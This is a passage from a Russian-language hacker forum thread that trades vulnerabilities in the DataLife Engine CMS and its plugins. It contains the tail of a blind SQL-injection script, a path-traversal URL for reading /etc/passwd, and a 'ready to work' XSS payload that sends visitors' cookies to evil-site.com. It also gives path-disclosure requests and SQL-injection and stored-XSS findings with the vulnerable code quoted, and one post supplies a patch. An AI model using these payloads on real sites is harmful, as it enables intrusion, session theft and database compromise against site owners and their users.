$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host$path$body.$index.",1))<{$num}")) 
  {
   echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}

?>


as3kpwnz 15.12.2008 23:23

Цитата:

Сообщение от Solide Snake
Код:

http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio

Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl

Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"

Код:

if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
    if (is_dir(ROOT_DIR.'/templates/'.$qw))
        {
            $config['skin'] = $qw;
        }
}
else {
die("Hacking attempt!");
}


Xe-Xe 19.12.2008 18:24

свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi
Код:

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
готовый к работе
Код:

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E

#Wolf# 16.01.2009 08:15

Цитата:

Сообщение от WP_
niva622

1. Версию движка, можно узнать только в админке.

http://dle-news.ru/engine/ajax/updates.php
тут палить нулленый движки :D

mailbrush 02.02.2009 01:36

Расскрыите путей:
Код:

http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1
(c) mailbrush

#Wolf# 10.02.2009 15:54

раскрытие путей
Цитата:

http://host.ru/engine/print.php?do=static&page[]=paramparam
результат
Цитата:

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in [PATH]/engine/classes/mysql.class.php on line 162 Невозможно загрузить шаблон: info.tpl
UPD

Цитата:

http://host.ru/engine/rss.php?subaction=allnews&user[]=admin
UPD
для тех у кого есть доступ в админку(журналисты, модераторы и выше)
Цитата:

http://host.ru/admin.php?mod[]=main
(c) #Wolf#

ps
http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html

кандоны( уже патч выпустили(

-Hormold- 27.02.2009 15:10

Модули DLE
 
Youtube Video Downloader
Версия: 1.0


Пассивная-XSS :(
Собственно
Уязвимый скрипт: youtubedownloader.php
Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1>
Метод: POST
Уязвимый кусок кода:
PHP код:

$video="$_POST[video]"
$video2 explode("watch?v="$video); 
$video2 explode("&"$video2[1]); 
$video2 $video2[0]; 
/////........
$pic="http://img.youtube.com/vi/$video2/default.jpg"
$youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>"



-Hormold- 27.02.2009 15:57

SPAM BUTTON in PM
Версия: v.1.0


Раскрытие путей

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: --
Метод: --
Уязвимый кусок кода:
PHP код:

//До этого нет объявление функции и каких-либо includ'ов
echoheader("SPAM in PM""Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB"); 


-Hormold- 27.02.2009 16:08

SPAM BUTTON in PM
Версия: v.1.0


ВОЗМОЖНО Sql-INJ

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:
PHP код:

  if($_POST['spam_flag'])
  {
      foreach (
$_POST['spam_flag'] as $key => $value)
      {
        
$delete_spam_query "DELETE FROM " PREFIX "_spam_pm WHERE id = '$value'";
        
$delete_spam_query_id $db->query($delete_spam_query);
          if(!
$delete_spam_query)
          {
            
$spam_err true;
          }
      }
  } 


-Hormold- 27.02.2009 16:25

DLE HACK SERVICE BETA
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: engine\inc\md5.php
Запрос: pass[]=md5
Метод: POST
Уязвимый кусок кода:
PHP код:

if (isset($_POST['pass'])) {
   
$pass=trim(htmlspecialchars($_POST['pass']));
   
$pass=md5($pass);



-Hormold- 27.02.2009 16:41

Простой мини чат для Dle
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: shout.php
Запрос: name[]=1&message[]=msg
Метод: POST
Уязвимый кусок кода:
PHP код:

if (isset($_POST["name"], $_POST["message"])){
    
$name iconv("UTF-8""windows-1251"$_POST["name"]);
    
$message iconv("UTF-8""windows-1251"$_POST["message"]); 

Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST

-Hormold- 27.02.2009 16:45

Простой мини чат для Dle
Версия: v.1.0


Активная XSS

Уязвимый скрипт: shout.php
Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1>
Метод: POST
Уязвимый кусок кода:
PHP код:

if (isset($_POST["name"], $_POST["message"])){
    
$name iconv("UTF-8""windows-1251"$_POST["name"]);
    
$message iconv("UTF-8""windows-1251"$_POST["message"]);
           
///........
            
$file[] = $id."¤".$name."¤".$message."¤".time()."\n";
            
///........
            
foreach ($file as $msgfwrite($fp$msg); 
///........ 

Этот баг даёт возможность поставить сниффер, и ловить куки ;)

-Hormold- 27.02.2009 16:56

profileZ. Смена логина
Версия: v.1.5


Sql-INJ

Уязвимый скрипт: engine/modules/profile.php
Запрос: usertitle=-1'
Метод: POST
Уязвимый кусок кода:
PHP код:

    $usertitle=$_POST['usertitle'];
    if (
strlen($password1)>0) {

    
$password1 md5(md5($password1));
    
    
$sql_user "UPDATE " USERPREFIX "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
    
    } else {
    
$sql_user "UPDATE " USERPREFIX "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
    
    } 



Время: 06:18